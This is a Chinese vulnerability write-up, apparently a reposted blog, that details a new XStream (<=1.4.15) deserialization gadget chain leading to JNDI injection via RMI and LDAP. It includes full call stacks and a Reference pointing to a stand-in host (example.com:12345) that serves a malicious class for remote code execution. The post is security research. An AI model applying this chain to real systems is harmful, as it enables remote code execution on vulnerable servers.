欢迎关注我的微信公众号:安全攻防渗透
信息安全领域原创公号,专注信安领域人才培养和知识分享,致力于帮助叁年以下信安从业者的学习和成长。
原创 卫兵实验室 安恒信息安全研究院
漏洞复现证明截图
影响范围
XStream<=1.4.15
漏洞分析
年前找的一个链,前天害怕被撞就交了,结果今天就发了补丁,不过修的几个链跟我找的sink点和触发toString点都不一样,应该算一个新的CVE的,在这里给大家分享出来。
回顾下CVE-2020-26217的调用栈
com.thoughtworks.xstream.converters.collections.MapConverter#putCurrentEntryIntoMap
java.util.HashMap#put
java.util.HashMap#hash
jdk.nashorn.internal.objects.NativeString#hashCode
com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#toString
com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#get
com.sun.xml.internal.bind.v2.util.ByteArrayOutputStreamEx#readFrom
java.io.SequenceInputStream#read(byte[], int, int)
java.io.SequenceInputStream#nextStream
javax.swing.MultiUIDefaults.MultiUIDefaultsEnumerator#nextElement
javax.imageio.spi.FilterIterator#next
javax.imageio.spi.FilterIterator#advance
javax.imageio.ImageIO.ContainsFilter#filter
java.lang.ProcessBuilder#start
hashcode()->toString()
的入口 jdk.nashorn.internal.objects.NativeString
和 sink点 javax.imageio.ImageIO$ContainsFilter
都被加入到了黑名单中。
不过我们可以复用 java.io.SequenceInputStream#nextStream
去找新的sink点。
RMI
com.sun.jndi.rmi.registry.BindingEnumeration
ctx
和 var2
我们都可控,因此这里可以进行JNDI注入。不过 ctx
是 com.sun.jndi.rmi.registry.RegistryContext
类型的,我们只能打rmi的JNDI注入,继续找找看有没有ldap的。
LDAP
com.sun.jndi.ldap.LdapBindingEnumeration#createItem
DirectoryManager.getObjectInstance
可以通过传入 Reference
对象来加载恶意class,var6
、this.homeCtx
、this.homeCtx.envprops
、var2
我们都可控,回溯一下var4
。
跟进 decodeReference
,由于 decodeObject
中的 var0
我们可控,最终可以让代码进入到 decodeReference
方法中,且 new Reference
的所有参数都可控,构造 new Reference("refClassName", "factoryClassName"
, "http://example.com:12345/"
) 传入 DirectoryManager.getObjectInstance
即可加载 http://example.com:12345/ 上名为 factoryClassName.class
的类,将恶意代码放入static
代码块即可任意代码执行。
把 com.sun.jndi.ldap.LdapBindingEnumeration
直接传过去会出现 this.data
不为null的情况,所以我用了 com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl
来间接调用 LdapBindingEnumeration#next
方法。
触发toString()
然后还有 toString
的入口,找了一圈所有类的 hashcode()
方法也没有找到能够触发 toString
的类,由于 SerializableConverter
支持调用 readObject
方法,前提是该类实现了 java.io.Serializable
接口(类的属性没有实现该接口依然可以被正常赋值),并且没有被之前的转换器捕获到,因此我们可以找找所有类的 readObject
方法。
比较常用的是 javax.management.BadAttributeValueExpException#readObject
,但是该类继承了 Throwable
,会被 ThrowableConverter
补货到,无法被 SerializableConverter
解析。
因此我们需要找一个新的类,我找到了一条可以用于Java原生反序列化触发 toString()
的链,这里暂不公开,下面是公开的几个CVE中用到的 toString 链。
java.util.PriorityQueue#readObject
->java.util.PriorityQueue#heapify
->java.util.PriorityQueue#siftDown
->java.util.PriorityQueue#siftDownUsingComparator
->javafx.collections.ObservableList#sorted()#compare()
不过这个链只能用在XStream中而不能用在Java原生反序列化中的,因为 javafx.collections.ObservableList 没有实现序列化接口。
RMI
java.util.PriorityQueue#readObject
java.util.PriorityQueue#heapify
java.util.PriorityQueue#siftDown
java.util.PriorityQueue#siftDownUsingComparator
javafx.collections.ObservableList#sorted()#compare()
com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#toString
com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#get
com.sun.xml.internal.bind.v2.util.ByteArrayOutputStreamEx#readFrom
java.io.SequenceInputStream#read(byte[], int, int)
java.io.SequenceInputStream#nextStream
com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl#nextElement
com.sun.jndi.rmi.registry.BindingEnumeration#next
RegistryContext.lookup
Ldap
java.util.PriorityQueue#readObject
java.util.PriorityQueue#heapify
java.util.PriorityQueue#siftDown
java.util.PriorityQueue#siftDownUsingComparator
javafx.collections.ObservableList#sorted()#compare()
com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#toString
com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#get
com.sun.xml.internal.bind.v2.util.ByteArrayOutputStreamEx#readFrom
java.io.SequenceInputStream#read(byte[], int, int)
java.io.SequenceInputStream#nextStream
com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl#nextElement
com.sun.jndi.ldap.AbstractLdapNamingEnumeration#next
com.sun.jndi.ldap.LdapBindingEnumeration#createItem
javax.naming.spi.DirectoryManager#getObjectInstance
版权声明:该篇文章来自于:Smi1e@卫兵实验室
原创地址:XStream<=1.4.15-反序列化-JNDI注入